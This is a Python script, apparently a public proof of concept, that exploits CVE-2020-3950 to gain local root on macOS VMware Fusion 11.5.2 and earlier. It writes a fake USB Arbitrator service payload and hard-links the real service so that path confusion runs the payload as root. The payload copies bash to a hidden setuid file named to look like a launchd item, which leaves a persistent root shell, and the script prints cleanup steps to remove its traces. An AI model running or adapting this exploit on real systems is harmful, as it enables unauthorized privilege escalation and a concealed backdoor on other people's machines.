# -*- coding: utf-8 -*-
__author__ = "HackerFantastic"
__license__ = "GPLv3"

import os
import subprocess
import time

env = {}
env["PATH"] = "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/Applications/VMware Fusion.app/Contents/Public:/usr/local/sbin"

def run(options):
	path = os.getenv("HOME")
	print("[+] CVE-2020-3950 local root exploit 0day for MacOS fusion 11.5.2 & below")
	try:
		os.rmdir(path + "/Contents/Library/services")
                os.rmdir(path + "/a")
	except OSError:
		print("directories don't exist to rm - this is ok")
	print("[+] creating directories")
	try:
    		os.makedirs(path + "/Contents/Library/services/")
    		os.makedirs(path + "/a/b/c")
	except OSError:
		print("directories exist also ok")
    	print("[+] Creating our runas root payload to use in " + path)
    	myfile = open(path + "/Contents/Library/services/VMware USB Arbitrator Service","wb")
	myfile.write("#!/usr/bin/python\nimport os\nos.setuid(0)\nos.system('cp /bin/bash /tmp/.com.apple.launchd.rWGGYVvlyx;chmod 4755 /tmp/.com.apple.launchd.rWGGYVvlyx')\n")
	myfile.close()
	os.chmod(path + "/Contents/Library/services/VMware USB Arbitrator Service",0755)
	print("[+] Linking service for path confusion")
	try:
		os.link("/Applications/VMware Fusion.app/Contents/Library/services/Open VMware USB Arbitrator Service",path + "/a/b/c/linked")
	except OSError:
		print("link exists")
	p = os.fork()
	if p == 0:
		print("exploiting service")
		os.execve(path + "/a/b/c/linked", ["VMware USB Arbitrator Service"], env)
	time.sleep(5)
	os.kill(p,9)
	time.sleep(7)
    	print("[+] root shell at '/tmp/.com.apple.launchd.rWGGYVvlyx -p -c id'")
	print("[!] delete " + path + "/a and " + path + "/Contents to clean up artifacts")
